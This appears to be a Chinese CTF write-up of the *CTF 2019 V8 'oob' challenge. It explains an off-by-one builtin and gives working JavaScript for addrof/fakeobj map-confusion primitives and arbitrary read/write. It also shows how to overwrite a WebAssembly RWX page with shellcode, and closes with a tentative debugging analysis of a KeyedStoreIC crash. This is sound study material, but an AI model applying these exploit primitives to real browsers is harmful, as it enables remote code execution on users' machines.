starctf-v8-oob

0x00 引

昨天端午节,外面下着暴雨,想起了一个一直想看的题,就开始捣鼓起来,调一会儿,玩一会儿,用了一个下午了解整个题,总觉得还是要记录下来点什么,网上关于这个题的writeup很多,也很精彩,但是我遇到了一个小小问题,似乎也没有准确答案 (太菜了,对v8一些内置系统还是不太熟悉),记录下来,看以后有没有机会能再弄清楚它。 ( 我会尽量用最简洁的语言来描述这个题的整个过程,然后记录一个问题

0x01 漏洞点和两个基础原语

从给题目给的diff可以看到新增了一个oob内置函数,从名字也暗示了你这是一个怎样的漏洞:

  • 当传参数量为1个时,取其数组的第length个元素直接返回
  • 当传参数量为2个时,将第二个参数的值写入其数组的第length元素
  • length == 其数组的长度
  • 对于这样内置函数,其第一个参数是指向receiver的this指针,所以上述描述在js里面调用来描述应该是:
    • 当传参数量为0个时,取其数组的第length个元素直接返回
    • 当传参数量为1个时,将其第一个参数的值写入其数组的第length元素

所以根据上面描述,可以很快确定这确实是一个oob,可以对receiver数组越界读或者写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

有了上面的基础,接下得让这个oob读写的操作变得有意义,直接引出jsobject的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 FixedArray ----> +------------------------+
| <Map> +<---------+
+------------------------+ |
| length | |
+------------------------+ |
| element 1 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| <Map> | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
是不是觉得这个结构非常的神奇,可扩展的FixedArray在JSObject头前面,这让oob的操作就变得有意义了,oob操作是完全可以读写Map的,这里就简单介绍一下map

"每个实例都有一个描述其结构的map,一般来说由相同顺序、相同属性名(同一构造函数)构建的对象,共享同一个map JSObject<Map> 也被称为 Hidden Class,这是由于最早 V8 在 Design Elements 将其称之为 Hidden Class,故一直沿用至今。也就说,在 V8 中具有相同构建结构的 JSObject 对象,在堆内具有相同的内存(空间)布局。"

所以不同类型的Array例如,objectArray或者 floatArray都有描述其结构的map, 而这些都属于JSObject,决定他们不一样的就是map。

oob操作给了我们可以泄露map和写map的机会,如果我把objectArray的map换成floatArray的map,会产生什么样的效果呢? 这里就产生类型混淆,floatArray的element里面是直接储存浮点数的值,而objectArray的element里面存储是其他object的引用。

所以我们把objectArray的map换成floatArray的map,将导致v8会以对floatArray的操作方法来操作objectArray,直接就导致了可以读取其他object的引用地址。相反将floatArray的map换成objectArray的map,将会导致我们有机会直接改写objectArray的element里面对其他object的应用。

这里就引出下面两个基础原语: - 泄露某个obj的地址 - 从某个地址得到一个obj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var obj_arr = [console.log]; //objectArray
var obj_arr_map = obj_arr.oob();//objectArray's map
// Create a Float array, and remember its map
var float_arr = [2.2]; //floatArray
var float_arr_map = float_arr.oob();//floatArray's map

function get_addr_of(obj)
{
// Set the array's object to the object we want to get address of
obj_arr[0] = obj;
// change object array to float array
obj_arr.oob(float_arr_map);
// save the pointer
let res = obj_arr[0];
// return object array to being object array
obj_arr.oob(obj_arr_map);
// return the result
return res;
}

function create_object_from(float_addr)
{
// Set object array to be float array
obj_arr.oob(float_arr_map);
// Set the first value to the address we want
obj_arr[0] = float_addr;
// Set the array to be object array again
obj_arr.oob(obj_arr_map);
// Return the newly crafted object
return obj_arr[0];
}

0x02 任意读写原语

现在要通过前面的两个基础原语,得到我们真正想要的RW原语,简单思考一下,这里过程让我想到了在php里面怎么用类型混淆来做rw,最简单就是有一段可控空间,造一个string类型的zval出来,拿到它的引用,就可以达到rw的功能,其实这里也一样,我们也可以造一个js里面基础类型,这里选择造一个floatArray出来。

1
2
3
4
5
6
7
8
9
10
11
var fake_arr=[
float_arr_map,//<MAP>
bigint2float(0n),//prototype
bigint2float(0x41414141n), //elements
bigint2float(0x1000000000n),//lengths
1.1,
2.2,
]

//0X40 根据fake_arr大小变化
var fake_obj_arr = float2bigint(get_addr_of(fake_arr))-0x41n+0x10n;

通过改变elements的指向,就可以实现任意rw的功能,也就拿到了下面两个rw的原语。

1
2
3
4
5
6
7
8
9
10
11
function read64(addr){ //bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
let res=fake_obj[0];
return float2bigint(res);
}

function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
console.log(float2bigint(fake_arr[2]).toString(16));
fake_obj[0]=bigint2float(data);
}

0x03 利用过程

这里有很多的利用方法,但是这里我只记录一种,通过它来说明我遇到的一个问题。

有了rw,我们得想办法劫持控制流,在v8里面的wasm特性就是一个非常不错的选择。

1
2
3
4
5
6
7
8
9
10
11
var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;

addTwo(5, 6)
通过wasm的语法引入了一个函数,在wasm的解析过程中,会开辟一个rwx的page,会把引入的函数code放到这个page上,所以这里如果我们能拿到这个page的位置,把相应的函数code覆盖成我们的shellcode,那么在通过函数表调用的过程中就会直接执行我们的shellcode。

拿到这个page的过程是动态调试的一个过程,其实也可以看代码把结构上的相对offset算出来。

1
2
%DebugPrint(wasmInstance);
%SystemBreak();

通过GDB断下来,用vmmap看一下rxw的页起始地址,再通过内存搜索找到对它引用的地址point_adr, 然后用point_adr 减去 wasmInstance_adr就可以拿到这个offset,这里具体值是0x87。

下面我们要找到存放函数code的具体位置,从rxw的页起始地址加 0x2,就是这个函数表的一个指针,指向的就是函数code位置。

后面过程就理所当然了,接着我遇到的问题就来了

0x04 一个小问题

在写shellcode过程中,出现了segmentfault的问题,这很奇怪,我注意到从一道CTF题零基础学V8漏洞利用这篇文章里面也提到这个问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> r  
[*] Success find libc addr: 0x000056420e8075b0
[*] find libc libc_free_hook_addr: 0x00007f16f641b8e8
... ...
RAX 0x7f16f6400000
... ...
► 0x56420e5756bd mov rax, qword ptr [rax + 0x30]
0x56420e5756c1 cmp rcx, qword ptr [rax - 0x8fe0]
0x56420e5756c8 sete al
0x56420e5756cb ret
... ...
Program received signal SIGSEGV (fault address 0x7f16f6400030)
pwndbg>

细心的童鞋应该会发现,我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0,从而导致了后续写入操作的失败。

这是因为我们write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0,从而导致上述操作无法写入的错误。这个解释不一定正确,希望知道的童鞋补充一下。出现的结果就是,直接用FloatArray方式向高地址写入会不成功。

对于作者关于这个问题的解释,我觉得有点奇怪,最后作者通过DataView解决了这个问题,而我这里不需要DataView似乎也能解决问题。下面是我关于这个问题的探究过程,也不一定正确,所以只做参考。

我首先打印了一下出现这个问题时候的stacktrace

1
2
3
4
5
6
7
#0  0x0000563087f2cd2d in v8::internal::FixedArrayBase::IsCowArray() const ()
#1 0x0000563087e61003 in v8::internal::GetStoreMode(v8::internal::Handle<v8::internal::JSObject>, unsigned int, v8::internal::Handle<v8::internal::Object>) ()
#2 0x0000563087e60dea in v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) ()
#3 0x0000563087e652c7 in v8::internal::Runtime_KeyedStoreIC_Miss(int, unsigned long*, v8::internal::Isolate*) ()
#4 0x0000563088391359 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#5 0x00005630883dc8d9 in Builtins_StaKeyedPropertyHandler ()
#6 0x0000563088304766 in Builtins_InterpreterEntryTrampoline ()

这个出现一个过程是Runtime_KeyedStoreIC_Miss,然后我去具体看这个地方代码,首先 IC是个什么东西,是一种V8里面内置优化过程叫inline cache,用于优化下面的过程:

1
2
3
4
5
6
7
function getX(point) {
return point.x;
}

for (var i = 0; i < 10000; i++) {
getX({x : i});
}

其中point.x 可以理解为Runtime_Load(point, "x");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Runtime_Load(obj, key) {
var desc = obj.map().instance_descriptors();
var desc_number = -1;
for (var i = 0; i < desc.length; i++) {
if (desc.GetKey(i) === key) {
desc_number = i;
break;
}
}

if (desc_number === -1) {
return undefined;
}

var detail = desc.GetDetails(desc_number);
if (detail.is_inobject()) {
return obj.READ_FIELD(detail.offset());
} else {
return obj.properties().get(detail.outobject_array_index());
}
}

上前面那种情况下传入的JSObject的map都是一样,属性x的存储位置也是相同的,那么就可以存储一个键值对用来保存 map和对应x的存储位置。在传入obj的map相同的情况下,直接从缓存位置读取:

1
2
3
4
5
6
7
8
9
10
11
function LoadIC_x(obj) {
if (obj.map() === cache.map) {
if (cache.offset >= 0) {
return obj.READ_FIELD(cache.offset);
} else {
return obj.properties().get(cache.index);
}
} else {
return Runtime_LoadIC_Miss(obj, "x");
}
}

有了这个IC处理过程的基础,我们再看到底是哪出错了

1
return  receiver->elements()->IsCowArray() ? STORE_NO_TRANSITION_HANDLE_COW: STANDARD_STORE;
这里地方有问题,似乎这里判断一下fixedArray 是不是cowArray类型,但是我们造fake_obj 的elements是指向rwx节上的,并不能保证fixedArray的完整性,所以这里出问题了,那么我的想法是不让它进入这个IC miss的过程,miss发生在哪一步呢?
1
2
3
4
function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
fake_obj[0]=bigint2float(data); //fake_obj[0]这里发生了miss
}

所以我的想法是先用write64正常写一次,让IC建立储存关系,然后让后面的load/store直接使用cache里面的关系,从实验中,证明了我这样做的方法是可行的!但是我不能保证我上面的想法是对的。所以这个问题我想记录下来,看以后能不能真正的去理解它

about

http://www.hackitek.com/starctf-2019-chrome-oob-v8/ https://www.freebuf.com/vuls/203721.html https://zhuanlan.zhihu.com/p/28790195 https://www.anquanke.com/post/id/207483